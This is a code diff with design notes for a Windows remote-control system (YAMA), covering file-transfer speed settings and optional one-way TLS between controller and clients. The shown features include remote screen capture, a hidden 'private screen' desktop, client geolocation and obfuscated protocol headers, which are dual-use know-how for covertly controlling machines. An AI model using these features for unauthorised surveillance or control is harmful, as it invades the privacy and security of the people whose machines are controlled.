+                // 受控端退出 / 程序更新：等所有实例（含分享实例）退干净，避免下方 FreeLibrary
+                // 卸载 DLL 时残留分享实例线程。主控端重启（S_SERVER_EXIT）则立即重连，不等仍存活的分享实例。
+                while (bStop && !bStop() && 0 == status)
+                    Sleep(20);
+            }
         } while (bExit && !bExit() && 0 == status);
 
         while (bStop && !bStop() && 1 == status)

common/commands.h

@@ -325,6 +325,8 @@ enum {
     COMMAND_FILE_MANAGER_PLUGIN = 163,   // 服务端 → 客户端：打开插件文件管理对话框（SimplePlugins 迁移）
     COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端：打开隐私屏幕（虚拟桌面，SimplePlugins 迁移）
     COMMAND_DRAWING_BOARD_PLUGIN = 165,  // 服务端 → 客户端：打开远程画板（SimplePlugins 迁移）
+    COMMAND_TLS_ENABLE = 166,   // 服务端 → 客户端：启用 TLS 传输（写注册表，下次启动生效）
+    COMMAND_TLS_DISABLE = 167,  // 服务端 → 客户端：停用 TLS 传输（写注册表，下次启动生效）
 
     TOKEN_DECRYPT = 199,
     TOKEN_REGEDIT = 200,            // 注册表
@@ -1061,6 +1063,7 @@ enum LOGIN_RES {
     RES_CLIENT_ID = 16,                     // 客户端唯一ID
     RES_PID = 17,                           // 进程ID
     RES_FILESIZE = 18,                       // 文件大小
+    RES_TLS = 19,                           // TLS 传输启用标志 0/1
     RES_MAX,
 };
 
@@ -1213,7 +1216,9 @@ typedef struct MasterSettings {
     char        GetPluginUrl[80];           // Since 2026-04-08
     char        Authorized;                 // Since 2026-05-15
     char        IsTrail;                    // Since 2026-05-15
-    char        Reserved[106];              // Since 2025-11-27
+    uint16_t    TransferChunkKb;            // Since 2026-10-07 文件传输速度 chunkKb（随登录配置下发）
+    uint16_t    TransferDurationMs;         // Since 2026-10-07 文件传输速度 durationMs（0=不限速）
+    char        Reserved[102];              // Since 2025-11-27
 } MasterSettings;
 #pragma pack(pop)
 

common/location.h

@@ -328,8 +328,10 @@ private:
             }
         }
 
-        std::string city = Utf8ToAnsi(json[cityField].asString());
-        std::string country = Utf8ToAnsi(json[countryField].asString());
+        // 地理位置 API 返回 UTF-8；不再转 CP_ACP——那会把 ö/ä/ß 等变音符替换成 '?'。
+        // GetGeoLocation 现统一返回 UTF-8，消费方按需用 NormalizeLocationToUtf8 / SafeUtf8ToAnsi 转。
+        std::string city = json[cityField].asString();
+        std::string country = json[countryField].asString();
 
         if (!city.empty() && !country.empty()) return city + ", " + country;
         if (!city.empty()) return city;

docs/FileTransferSpeed_Design.md

@@ -67,7 +67,7 @@ static int send_duration = 50;        // 默认 50ms
 | 方向 | 发送方 | `InitFileUpload` 调用点 | 生效方式 |
 |---|---|---|---|
 | 上传（主控端 → 被控端） | 主控端 | `server/2015Remote/2015RemoteDlg.cpp:2223`（启动一次） | 读 `THIS_CFG`，重启主控端生效 |
-| 下载（被控端 → 主控端） | 被控端 | `client/FileManager.cpp:40`（CFileManager 构造，每会话一次） | 读客户端配置，下次打开文件管理会话生效 |
+| 下载（被控端 → 主控端） | 被控端 | `client/FileManager.cpp:40`（CFileManager 构造，每会话一次） | 读客户端配置（`MasterSettings` 登录下发写入），下次打开文件管理会话生效 |
 
 ### 4.1 上传方向（主控端本地，无协议改动）
 
@@ -79,17 +79,22 @@ int durMs   = THIS_CFG.GetInt("transfer", "DurationMs", 50);
 InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
 ```
 
-### 4.2 下载方向（需下发到被控端）
+### 4.2 下载方向（随 `MasterSettings` 登录下发到被控端）
 
-新增命令 `CMD_FILE_SPEED`，照 `CMD_QUALITY_LEVEL(78)` 的“服务端下发 → 客户端持久化 → 本地生效”套路：
+下载速度**不再用独立命令下发**，而是折叠进 `MasterSettings` 结构体，随**客户端每次登录成功**第一时间下发（主连接建立即 `SendMasterSettings`），客户端持久化到 `[transfer]` 节后本地生效：
 
-1. **`common/commands.h`**：新增 `CMD_FILE_SPEED = 252`（命令号单字节，252 < 255 安全）。
-2. **命令格式**：`[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]`，共 5 字节。
-   - 传原始 `chunkKb`/`durationMs` 而非档位索引，**避免客户端复制映射表**，映射表只存在于主控端对话框。
-3. **主控端下发**：在 `OnOnlineFileManager()`（`server/2015Remote/2015RemoteDlg.cpp:4737`，发 `COMMAND_LIST_DRIVE` 开文件管理会话）发 `COMMAND_LIST_DRIVE` **之前**，先经主连接把当前档位 `CMD_FILE_SPEED`（5 字节）发给被控端；`OnOnlineDesktopManager()`（`2015RemoteDlg.cpp:4723`，发 `COMMAND_SCREEN_SPY`）同理也发一次，覆盖“先开远程桌面再开文件管理”的引用计数时序。两处都在 `SendFileSpeedCommand()`（`:9310`）统一读取并下发。
-4. **被控端接收**：在客户端主连接分发 `client/KernelManager.cpp:814` 的 `switch`（`COMMAND_LIST_DRIVE` 所在，`case` 加在 `1280` 附近）加 `case CMD_FILE_SPEED`，把两数写入 `iniFile cfg(CLIENT_PATH)` 的 `[transfer]` 节。
-5. **被控端调用点读配置**：`client/FileManager.cpp:40`（CFileManager 构造）改为读 `cfg.GetInt("transfer","ChunkKb",64)` / `DurationMs`，替换硬编码 `64, 50`。CFileManager 每会话重建（构造 Init、析构 Uninit），故下次打开文件管理即生效。
+1. **`common/commands.h`**：在 `MasterSettings` 结构体 `Reserved` 之前新增两个字段（`sizeof` 仍为 1000，`Signature` 偏移不变，向下兼容老客户端）：
+   ```c
+   uint16_t TransferChunkKb;      // 文件传输速度 chunkKb（随登录配置下发）
+   uint16_t TransferDurationMs;   // 文件传输速度 durationMs（0=不限速）
+   ```
+2. **主控端登录即下发**：`OnInitDialog()` 读 `THIS_CFG` 的 `[transfer]`（`GetTransferSpeed`，默认 64/50），填入 `m_settings.TransferChunkKb/TransferDurationMs`。登录链路本就把 `m_settings` 经 `SendMasterSettings` 下发给每个新连接客户端，**无需任何额外命令**。
+3. **主控端改速即时广播**：`OnFileTransferSpeed()` 保存后同步更新 `m_settings` 两个字段并 `SendMasterSettings(nullptr, m_settings)`，在线客户端即时收到新速度；新连接主机也自动获取。
+4. **被控端接收**：客户端 `CMD_MASTERSETTING` 处理器（`client/KernelManager.cpp:1116` 附近）中，`TransferChunkKb` 非 0（老主控未携带时为 0，保留本地默认值）则把两数写入 `iniFile(CLIENT_PATH)` 的 `[transfer]` 节。
+5. **被控端调用点读配置**：`client/FileManager.cpp:40`（CFileManager 构造）等 4 个 `InitFileUpload` 调用点均读 `cfg.GetInt("transfer", ...)`，替换硬编码 `64, 50`。CFileManager 每会话重建（构造 Init、析构 Uninit），故下次打开文件管理即生效。
 
+> **为何不用独立命令**：v1.4.0 曾用独立 `CMD_FILE_SPEED(252)` 在 `OnOnlineFileManager()`/`OnOnlineDesktopManager()` 发 `COMMAND_LIST_DRIVE`/`COMMAND_SCREEN_SPY` **之前**追加下发。主控端 IOCP 对两次背靠背 `Send2Client` 会合并为两次整包 `WSASend`（`OutCompressedBuffer` 累积），导致客户端收到重复的 `[FILE_SPEED][SCREEN_SPY]` 命令流——这正是“点击远程桌面弹出两个对话框”的根因（commit 76decec）。改为随 `MasterSettings` 登录下发后，下载方向不再有任何背靠背发送。
+> **向后兼容**：`CMD_FILE_SPEED = 252` 命令号与客户端 `case CMD_FILE_SPEED` 处理器仍保留，供老主控（仍按旧机制下发）与新客户端互通；新主控不再发送该命令。
 > **关键**：库用进程级引用计数，速度只在**首次** `InitFileUpload` 时设定（`g_threadCount > 1` 时提前返回，不重设）。客户端共 4 个 `InitFileUpload` 调用点（`FileManager.cpp:40`、`ScreenManager.cpp:109`、`ScreenManager.cpp:873`、`KernelManager.cpp:1399`），谁先初始化谁锁定速度。故**这 4 处必须全部改为读同一配置**，否则下载速度会被先初始化的管理器（如远程桌面会话）锁成旧值。
 
 ---
@@ -97,7 +102,7 @@ InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
 ## 5. 配置存储
 
 - 主控端：`THIS_CFG`（ini）`[transfer]` 节 `ChunkKb` / `DurationMs`（int）。
-- 被控端：`iniFile(CLIENT_PATH)` 的 `[transfer]` 节 `ChunkKb` / `DurationMs`（int），由 `CMD_FILE_SPEED` 写入。
+- 被控端：`iniFile(CLIENT_PATH)` 的 `[transfer]` 节 `ChunkKb` / `DurationMs`（int），由 `MasterSettings` 登录下发写入。
 
 存 `ChunkKb`/`DurationMs` 两个 int 而非档位索引：自解释、直接对应 `InitFileUpload` 入参、不易错位。
 
@@ -111,9 +116,9 @@ InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
 | `server/2015Remote/2015Remote.rc` | 「高级」菜单加一项；新增对话框资源（滑块+预估标签+按钮）。**文件为 UTF-16LE 编码，须按 Unicode 读写** |
 | `server/2015Remote/CFileSpeedDlg.h` | 新建：档位表 + `OnHScroll` 实时预估 + 恢复默认（照 `CPreviewLevelsDlg.h` 内联实现） |
 | `server/2015Remote/2015RemoteDlg.h` | 加 `OnFileTransferSpeed()` 声明 |
-| `server/2015Remote/2015RemoteDlg.cpp` | 消息映射 `ON_COMMAND(ID_TOOL_FILE_SPEED, ...)`；`2223` 读配置（上传）；`OnFileTransferSpeed()` 弹出对话框并写回 THIS_CFG；`OnOnlineFileManager()`/`OnOnlineDesktopManager()` 发 `CMD_FILE_SPEED` |
-| `common/commands.h` | 加 `CMD_FILE_SPEED = 252` |
-| `client/KernelManager.cpp` | `case CMD_FILE_SPEED` 写客户端配置（主连接 switch，`814`） |
+| `server/2015Remote/2015RemoteDlg.cpp` | 消息映射 `ON_COMMAND(ID_TOOL_FILE_SPEED, ...)`；`2223` 读配置（上传）；`OnInitDialog()` 把 `[transfer]` 速度填入 `m_settings`；`OnFileTransferSpeed()` 保存后更新 `m_settings` 并经 `SendMasterSettings(nullptr, ...)` 广播 |
+| `common/commands.h` | `MasterSettings` 新增 `TransferChunkKb`/`TransferDurationMs`（`sizeof` 不变，`CMD_FILE_SPEED=252` 保留向后兼容） |
+| `client/KernelManager.cpp` | `CMD_MASTERSETTING` 处理器写 `[transfer]`（`TransferChunkKb` 非 0 才写） |
 | `client/FileManager.cpp`、`client/ScreenManager.cpp`、`client/KernelManager.cpp` | 4 个 `InitFileUpload` 调用点读配置替换硬编码 `64, 50`（引用计数要求全部一致） |
 | `server/2015Remote/lang/en_US.ini`、`zh_TW.ini`、`de_DE.ini` | 追加「文件传输速度」相关 13 条中文原文→译文（GBK 编码，`RCDATA "lang\*.ini"` 由 rc.exe 嵌入） |
 
@@ -122,8 +127,8 @@ InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
 ## 7. 生效时机与提示文案
 
 - 上传速度：重启主控端生效。
-- 下载速度：下次打开该主机的文件管理会话生效。
-- 对话框保存后弹提示：`文件传输速度已保存。上传速度重启主控端后生效；下载速度下次打开文件管理或远程桌面后生效。`
+- 下载速度：已推送到在线客户端即时生效；新连接的主机自动获取。
+- 对话框保存后弹提示：`文件传输速度已保存。上传速度重启主控端后生效；下载速度已推送到在线客户端，新连接的主机也会自动获取。`
 
 ---
 
@@ -131,16 +136,16 @@ InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
 
 1. **`Sleep` 精度**：Windows 计时器粒度约 15.6ms，`durationMs` 过小则失真（见 §3）。
 2. **实际速度 < 预估**：预估为纯 `chunk/delay` 理论值，未计入 `f()` 网络发送耗时；对话框文案用“约/大概”表述。
-3. **命令号冲突**：`CMD_FILE_SPEED=252` 需确认 `commands.h` 无重号；252 < 255（单字节 `uint8_t cmd` 上限）。
+3. **结构体字段布局**：`TransferChunkKb`/`TransferDurationMs` 加在 `Reserved` 之前（`sizeof(MasterSettings)` 仍为 1000，`Signature` 偏移不变），保证与 Go 侧/老客户端二进制兼容；`TransferChunkKb == 0` 作为“未下发”哨兵（老主控未填充 → 客户端保留本地默认值）。
 4. **`.rc` 编码**：`2015Remote.rc` 为 UTF-16LE（带 BOM），编辑必须按 Unicode 处理，避免破坏资源脚本。
-5. **跨平台**：Linux/macOS 客户端下载路径暂不改（`CMD_FILE_SPEED` 会被老/其他平台客户端静默忽略，向后兼容）。
+5. **跨平台**：Linux/macOS 客户端下载路径暂不改；`MasterSettings` 新增字段位于原 `Reserved` 区（老/其他平台客户端不识别即忽略），向后兼容。
 6. **多语言 key 精确匹配**：语言文件为 GBK 编码、key 不 trim（`CIniParser` 保留原始空格）；译文 key 必须与源码逐字一致——源码为 UTF-8、经 `/execution-charset:.936` 编译为 GBK，`·`(U+00B7)、全角括号（）等需一致，否则查不到翻译。
 
 ---
 
 ## 9. 实施顺序
 
-1. `common/commands.h` 加命令号 → `resource.h` 加 ID → `.rc` 加菜单项与对话框资源。
+1. `common/commands.h` 扩 `MasterSettings` → `resource.h` 加 ID → `.rc` 加菜单项与对话框资源。
 2. 新建 `CFileSpeedDlg.h` → `2015RemoteDlg` 接线（上传方向，可先验证）。
-3. 主控端下发 `CMD_FILE_SPEED` → 客户端接收持久化 → 客户端调用点读配置（下载方向）。
+3. 主控端经 `MasterSettings` 下发速度 → 客户端 `CMD_MASTERSETTING` 持久化 → 客户端调用点读配置（下载方向）。
 4. 编译验证（MSBuild 须传 `-p:SolutionDir`，见项目记忆）。

docs/TransportTLS_Design.md

@@ -0,0 +1,313 @@
+# 传输层单向 TLS 加密设计（按需加密）
+
+> 版本：v0.5 · 状态：**Go 服务端 + Windows 客户端已实现并验证；信任锚改存注册表；MFC 主控端（阶段 3）未施工** · 日期：2026-10-14
+> 目标：让 YAMA 设备端口（TCP 6543）在继续兼容老客户端（明文/XOR）的同时，允许新客户端在拿到证书后按需开启**单向 TLS** 加密传输。
+> 本期范围：**Go 服务端（`server/go`）+ Windows 客户端**；MFC 服务端（`server/2015Remote`）延后。
+>
+> 需求原文（三点，逐一对应下文）：
+> 1. 新客户端**默认不加密**，行为与老客户端完全一致；
+> 2. 某些高要求场景，管理员「颁发一个证书给该客户端 + 重启」，该客户端即改走加密；
+> 3. 服务端同一端口（6543）同时兼容明文与 TLS 两种客户端，老客户端零改动。
+
+## 1. 目标与范围
+
+### 目标
+
+- 同一 `6543` 端口上，服务端自动区分「明文客户端」与「TLS 客户端」，按连接路由。
+- 加密是**按部署、按客户端开关**的：证书（注册表值或文件）在 → TLS；证书不在 → 明文（与老客户端一致）。
+- 老客户端（无证书概念）行为不变、零改动。
+- 满足 Measure 1 的「传输层真加密 + 抗重放」目标（对 TLS 客户端而言）。
+
+### 非目标（Non-goals，本次不做）
+
+- 不做 **mTLS / 客户端证书**：单向 TLS 不验证客户端证书，客户端身份仍由隧道内的现有登录（`PwdHmac` V1 / `ECDSA` V2）承担。
+- 不做传输层 PSK（`YAMA_TRANSPORT_KEY`）方案——本设计改用证书，更贴合「颁发证书」的运维模型。
+- 不改应用层协议（flag 帧格式 / XOR / zstd），不做「TLS 内去掉 XOR」的二次精简（后续可选）。
+- 不做加密开关的运行时热切换（证书只在客户端启动时读取一次，改配置需重启——这正是需求）。
+- 不做 Linux / macOS / Android 客户端的 TLS 接入（本文以 Windows MFC 客户端为主，其余平台同样式跟进）。
+- 不做 **MFC 服务端（`server/2015Remote`）的 TLS 接入**——本期只做 Go 服务端（`server/go`），MFC 主控端延后到阶段 3。
+
+## 2. 现状与复用
+
+### 2.1 当前传输（已核实）
+
+服务端 TCP 传输链路：`server/go/server/server.go` `acceptLoop()`（329–360 行）`Accept` 后 `go handleConnection(conn)`；`handleConnection()`（363–425 行）读入 `ctx.InBuffer`，交给 `protocol.Parser`。
+
+`server/go/protocol/parser.go` `Parse()`（51–85 行）：
+
+1. 可选剥离 HTTP-mask（`POST /...\r\n\r\n` 外壳，`common/mask.h` 的 `HttpMask`）；
+2. `parseHeader()`（88–140 行）调用 `CheckHead()` 识别协议；
+3. `parsePacket()`（143–225 行）解头 + XOR 解码 + zstd 解压。
+
+`server/go/protocol/header.go` `CheckHead()`（149–165 行）对前 12 字节依次尝试 8 种头混淆 × 4 种魔数，命中即得 `FlagType`：
+
+| FlagType | 魔数 | 首字节 |
+|---|---|---|
+| FlagHell(4) | `HELL` | `H`=0x48 |
+| FlagShine(1) | `Shine` | `S`=0x53 |
+| FlagFuck(2) | `<<FUCK>>` | `<`=0x3C |
+| FlagHello(3) | `Hello?` | `H`=0x48 |
+| HTTP-mask | `POST ` | `P`=0x50 |
+
+> 注意：上表「首字节」是**解密后**的魔数首字节。实际线上，客户端（`common/header.h` 的 `GetHead`）会用 `time() % 12` 随机选一个混淆方法对前 4 字节魔数加密（仅在 `superAdmin` 命中的 `HellEncoder` 路径；默认 `ProtocolEncoder` 直接发明文 `Shine`）。因此**原始首字节可能是任意值**，包括 `0x16`。这正是 TLS 检测不能只看前两字节、必须再加一字节判据的原因（见 §3.1）。
+
+当前「加密」为 `codec.go` 的 `xorDecoder16`（XOR + 两轮伪随机交换，密钥是明文带内 1~2 字节）+ `header.go` 的 V0~V6 头混淆——**等于明文**。这正是 Measure 1 要解决的。
+
+### 2.2 客户端登录（已核实，隧道内照常）
+
+- V1：`client/KernelManager.cpp:1857` 从配置读 `settings/PwdHmac`（预计算摘要），服务端 `auth.go:240` `VerifyMessage(YAMA_PWD, passcode, hmacSig)` 校验。`YAMA_PWD` 只存在服务端，客户端只有摘要，不持有 `YAMA_PWD`。
+- V2：`auth.go:188` ECDSA P-256 验签（`v2:BASE64`），客户端持私钥、服务端持公钥。
+
+### 2.3 关键结论（本设计的基础）
+
+**TLS 作为「透明传输包装」，应用层协议一行不改。** 即：
+
+```
+明文客户端:   [TCP] = flag 帧 + XOR payload + zstd
+TLS 客户端:   [TCP][TLS] = { flag 帧 + XOR payload + zstd }
+```
+
+服务端 `parser.go`/`codec.go`/`header.go`/handler 全部不动；TLS 客户端解密后的字节流就是同一套协议。唯一新增的是**连接建立时的 TLS 检测与解包**。XOR 套在 TLS 里冗余但无害，保留它换来「应用协议零改动、老新客户端共用同一套代码」。
+
+## 3. 总体方案
+
+### 3.1 同端口共存 + 首字节检测
+
+服务端在 `handleConnection` 开头（`Accept` 之后）偷看连接开头 6 字节：
+
+- 命中 `0x16 0x03 … 0x01`（TLS 握手记录 + TLS 版本号 + 握手类型 ClientHello）→ 交给 `tls.Server` 解包；
+- 其它 → 走现有明文路径。
+
+**为何要看第 6 字节**：客户端会随机混淆魔数头（见 §2.1），所以明文连接的前两字节**可能**恰好是 `0x16 0x03`。但混淆只作用于前 4 字节魔数，字节 5 对混淆后的 `HELL` 头恒为 `0x00`，对明文 `Shine`/`POST` 变体是 ASCII 字符——**永远不会是 `0x01`**；而任何 TLS 握手记录里，字节 5 就是握手消息类型，ClientHello 恒为 `0x01`。于是 `0x16 0x03` 加 `b[5]==0x01` 三重判据让误判概率趋近于零。
+
+```
+accept
+  ├─ 现有 MaxConnections / per-IP 限流（保持，先于 TLS 握手，廉价拒绝 + 抗握手 DoS）
+  ├─ peek 3 字节
+  │    ├─ 0x16 0x03 → tls.Server(conn, tlsCfg)（惰性握手，首次 Read 触发）
+  │    └─ 其它     → 明文
+  └─ handleConnection(conn)   // 不区分明文/TLS，tls.Conn 实现 net.Conn
+```
+
+### 3.2 客户端行为
+
+客户端启动时检查「证书文件是否存在」：
+
+- 不在 → 明文（与老客户端完全一致，默认即此）；
+- 在 → 所有出站 TCP 连接（主连接 + screen/terminal/file 子连接）统一走 TLS。
+
+### 3.3 架构图
+
+```
+┌──────────── 被控端（客户端，无证书） ────────────┐
+│  TCP ── flag+XOR+zstd ─────────────────────────► │  明文
+└───────────────────────────────────────────────────┘
+┌──────────── 被控端（客户端，有证书） ────────────┐
+│  TCP ── TLS ── { flag+XOR+zstd } ──────────────► │  加密
+└───────────────────────────────────────────────────┘
+                        │
+                        ▼
+             ┌──────────────────────┐
+             │   服务端 6543         │
+             │  peek 首字节路由       │
+             │  ├─ 0x16 0x03 → TLS   │
+             │  └─ 其它    → 明文    │
+             │  ── 同一套 parser/handler │
+             └──────────────────────┘
+```
+
+## 4. 证书模型（单向 TLS）
+
+- 服务端持有一张**服务端证书 + 私钥**（可自签名，或由自建 CA 签发）。
+- 客户端持有**信任锚证书**（CA 证书，或自签名服务端证书本身）用于在握手时校验服务端。
+- 「颁发证书给某客户端」= 把信任锚证书投递到该客户端（**注册表值**，见 §6.1/§9.3）。证书是**共享的信任锚**（不是每个客户端一张唯一证书），「颁发」的本质是**决定给哪个客户端开加密**。
+- 单向 TLS **不认证客户端身份**；客户端身份仍由隧道内的登录（V1 `PwdHmac` / V2 ECDSA）承担。
+- 信任锚首选存注册表 `Software\<exehash>\settings\tls_cert`（REG_SZ 直接存 PEM 正文）；兼容旧方式：`settings.ini` `[settings] tls_cert` 路径，或 exe 同目录 `yama-ca.pem` 文件。
+
+## 5. 服务端改动
+
+### 5.1 配置（`server/go/server/server.go` `Config`）
+
+新增两个字段，均为证书/私钥文件路径；空 = 禁用 TLS（仅明文，向后兼容）：
+
+```go
+TLSCertFile string // 服务端证书（PEM）
+TLSKeyFile  string // 服务端私钥（PEM）
+```
+
+`cmd/main.go` 读取环境变量（沿用现有 `YAMA_*` 命名）：
+
+```go
+cfg.TLSCertFile = os.Getenv("YAMA_TLS_CERT")
+cfg.TLSKeyFile  = os.Getenv("YAMA_TLS_KEY")
+```
+
+仅当两者都非空才构建 `*tls.Config`；否则 `s.tlsCfg == nil`，`acceptLoop` 走纯明文。
+
+### 5.2 `tls.Config`
+
+```go
+tlsCfg := &tls.Config{
+    Certificates: []tls.Certificate{cert},
+    MinVersion:   tls.VersionTLS12,
+    // 单向 TLS：不设 ClientAuth / ClientCAs
+}
+```
+
+### 5.3 `handleConnection` 检测 + 回放
+
+标准 peek 回放：`bufio.Reader` 预读 6 字节，封装成 `bufferedConn`（实现 `net.Conn`，`Read` 委托给 `Reader`），判断后把已读字节一并交给目标。嗅探本身设了 `ReadTimeout` 截止，超时/EOF 则退回原始 conn 走明文，由读循环处理：
+
+```go
+func (s *Server) wrapTLS(conn net.Conn) net.Conn {
+    br := bufio.NewReader(conn)
+    _ = conn.SetReadDeadline(time.Now().Add(s.config.ReadTimeout)) // 嗅探受超时约束
+    hdr, err := br.Peek(6)
+    _ = conn.SetReadDeadline(time.Time{})
+    if err != nil {
+        return conn // 超时/EOF：走明文，交由读循环处理
+    }
+    bc := &bufferedConn{Conn: conn, r: br}
+    if isTLSClientHello(hdr) { // 0x16 0x03 且 b[5]==0x01
+        return tls.Server(bc, s.tlsCfg) // 握手惰性，首次 Read 触发
+    }
+    return bc
+}
+```
+
+### 5.4 握手超时
+
+`handleConnection` 首次 `conn.Read` 会触发 TLS 握手，而它已按 `ReadTimeout` 设了 `SetReadDeadline`，因此握手天然受 `ReadTimeout` 约束，无需额外机制。per-IP 限流（现有）继续在握手前生效，压制握手 DoS。
+
+### 5.5 明确不动的部分
+
+- `parser.go` / `codec.go` / `header.go`：**零改动**。
+- `handleConnection` / `processData` / handler 栈：**零改动**（`tls.Conn` 满足 `net.Conn`）。
+
+## 6. 客户端改动
+
+### 6.1 证书检测
+
+启动时（连接前）按优先级找信任锚：① 注册表 `Software\<exehash>\settings\tls_cert`（REG_SZ 存 PEM 正文）→ ② `settings.ini` `[settings] tls_cert` 路径 → ③ exe 同目录 `yama-ca.pem`。找到即走 TLS，否则明文。实现：`client/TlsChannel.cpp` 的 `ReadTrustAnchor()` + `TlsEnabled()`（`std::call_once` 惰性加载、线程安全、幂等）。
+
+### 6.2 TLS 栈选型（已定：Schannel）
+
+- **已选 Schannel（Windows 原生 SSPI）**：零第三方依赖/零额外 DLL 部署，`secur32.lib`/`crypt32.lib` 均为系统库（`secur32.lib` 已在 `CFFmpegH264Encoder.cpp:38` 链接）。
+- 信任锚（PEM/DER 正文，来自注册表或文件）经 `CryptStringToBinaryA` 解码 → `CertCreateCertificateContext` → 内存 `HCERTSTORE`；握手后 `CertGetCertificateChain` 把服务端证书链到该信任锚，`dwErrorStatus == 0` 才放行（含时间有效性）。**严格钉扎**：链引擎用 `hExclusiveRoot` 只信任该 store，排除系统根库，否则公共 CA 签发的证书也能通过。**fail-closed**。
+- 握手凭据：`SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS`，`grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT`（与 Go 端 `MinVersion: TLS 1.2` 对齐）。
+- 单向 TLS：不提供客户端证书；客户端身份仍由隧道内登录承担。
+
+### 6.3 连接层封装
+
+在 socket 建立后、应用协议首包前插入 TLS 握手（`IOCPClient::ConnectServer`，`m_bConnected` 置位前）；`ReceiveData`/`SendTo` 改走 `TlsChannel` 会话。所有出站连接（主连接 + 子连接）统一遵循 TLS 开关，因此子连接同样被加密——服务端按连接检测，天然支持。实现：`client/TlsChannel.{h,cpp}`，接入点 `client/IOCPClient.{h,cpp}`。
+
+### 6.4 关键：无静默降级（fail-closed）
+
+**证书文件存在但握手失败（证书不匹配 / 中间人）时，客户端必须报错并放弃连接，禁止回退到明文。** 否则攻击者可制造降级。这必须写进实现与测试。
+
+### 6.5 实现要点：Schannel 流模式 `DecryptMessage` 的缓冲重组
+
+Schannel 流模式（`ISC_REQ_STREAM`）下，`DecryptMessage` 会把输入的那段 `SECBUFFER_DATA`
+**重组**为 4 段输出，而不是就地解密到原偏移：
+
+| 索引 | 类型 | 内容 |
+|---|---|---|
+| `bufs[0]` | `SECBUFFER_STREAM_HEADER` | TLS 记录头(5) + 显式 nonce(8) |
+| `bufs[1]` | `SECBUFFER_DATA` | **明文** |
+| `bufs[2]` | `SECBUFFER_STREAM_TRAILER` | 认证标签 |
+| `bufs[3]` | `SECBUFFER_EXTRA` | 下一条记录的剩余密文（如有） |
+
+因此客户端 `Recv` 必须从 `bufs[1].pvBuffer`/`bufs[1].cbBuffer` 取明文、`EXTRA` 从 `bufs[3]`
+取。若误用 `bufs[0]`（记录头+nonce）或从原缓冲首字节取数，会把 TLS 记录头 `17 03 03 …`
+当作明文交给协议解析器（表现为 `Unknown header`）。`Send` 方向相反：`EncryptMessage` 用
+`STREAM_HEADER/DATA/TRAILER` 三段布局，本就正确。这一处是联调阶段实际踩到的、唯一的方向性
+不对称 bug，已修复。
+
+## 7. 兼容矩阵
+
+| 客户端 | 服务端行为 | 结果 |
+|---|---|---|
+| 老客户端（无证书概念） | 明文路径 | 与现状完全一致 |
+| 新客户端 · 无证书 | 明文路径 | 与老客户端行为一致（默认） |
+| 新客户端 · 有证书 | TLS 路径 | 全量加密（主 + 子连接） |
+
+服务端 TLS 未配置（`YAMA_TLS_CERT/KEY` 为空）时，一切与现状一致，TLS 客户端握手自然失败（fail-closed）。
+
+## 8. 安全考量
+
+- **TLS 提供**：机密性、完整性、服务端身份（客户端校验）、抗重放（TLS record 序号 + nonce）。即对 TLS 客户端而言，Measure 1（真加密 + 防重放）达成。
+- **TLS 不提供**（单向）：客户端证书身份——仍由隧道内登录承担；对「未颁证客户端」不强制加密（这是本设计刻意保留的兼容性，也是薄弱点：部署安全性取决于最弱客户端）。
+- **明文前导**：TLS ClientHello 前几字节明文（协议固有），仅暴露「这是 TLS 客户端」，不含业务数据；客户端不设 SNI（连接目标是 IP，无域名）。
+- **子连接**：客户端统一走 TLS，screen/terminal/file 子连接一并加密；对应 Measure 2 的「源 IP 绑定」降级为纵深防御，不再是唯一防线。
+- **证书轮换**：重签服务端证书后，需向已颁证客户端重新投递新信任锚（或在证书到期前提前过渡）。自签名建议 `-days 3650`，到期前统一更换。
+- **协议强度**：`MinVersion` 固定 TLS 1.2+，套件用 Go 默认安全集（`tls.Config` 默认已排除弱套件）。
+
+## 9. 部署与运维
+
+### 9.1 生成证书
+
+自签名（最简，客户端信任锚即 `yama-server.crt`）：
+
+```bash
+openssl req -x509 -newkey rsa:2048 -nodes \
+  -keyout yama-server.key -out yama-server.crt \
+  -days 3650 -subj "/CN=yama-server"
+```
+
+或自建 CA + 签服务端证书（便于轮换，客户端信任锚为 `ca.crt`）：
+
+```bash
+openssl req -x509 -newkey rsa:2048 -nodes -keyout ca.key -out ca.crt -days 3650 -subj "/CN=yama-ca"
+openssl req -newkey rsa:2048 -nodes -keyout server.key -out server.csr -subj "/CN=yama-server"
+openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 3650
+```
+
+### 9.2 服务端
+
+```bash
+YAMA_TLS_CERT=/etc/yama/server.crt \
+YAMA_TLS_KEY=/etc/yama/server.key \
+./server_linux_amd64 ...
+```
+
+### 9.3 客户端「颁发 + 重启」
+
+首选：把信任锚 PEM 正文写入注册表值 `Software\<exehash>\settings\tls_cert`（REG_SZ），重启客户端：
+
+```powershell
+$pem = Get-Content -Raw 'C:\path\yama-ca.pem'
+New-Item -Path 'HKCU:\Software\<exehash>\settings' -Force | Out-Null
+Set-ItemProperty -Path 'HKCU:\Software\<exehash>\settings' -Name 'tls_cert' -Value $pem -Type String
+```
+
+- `<exehash>` = 客户端 exe 全路径小写后的 FNV 哈希（`common/iniFile.h` 的 `GetRegistryName()`）。
+- 客户端以服务（SYSTEM）运行时，注册表落在会话用户的 `HKEY_USERS\<SID>`（`GetCurrentUserRegistryKey()`）。
+- REG_SZ 直接存 PEM 正文（含换行）；客户端动态读取，不受 `iniFile::GetStr` 512 字节固定缓冲限制。
+
+兼容旧方式：把信任锚复制到客户端目录并命名为 `yama-ca.pem`（或经 `settings.ini` `[settings] tls_cert` 指向），重启客户端。
+
+移除注册表值（或删除文件）并重启即退回明文。**远程下发/撤销信任锚属后续工作，本期仅支持本地写注册表。**
+
+## 10. 测试计划
+
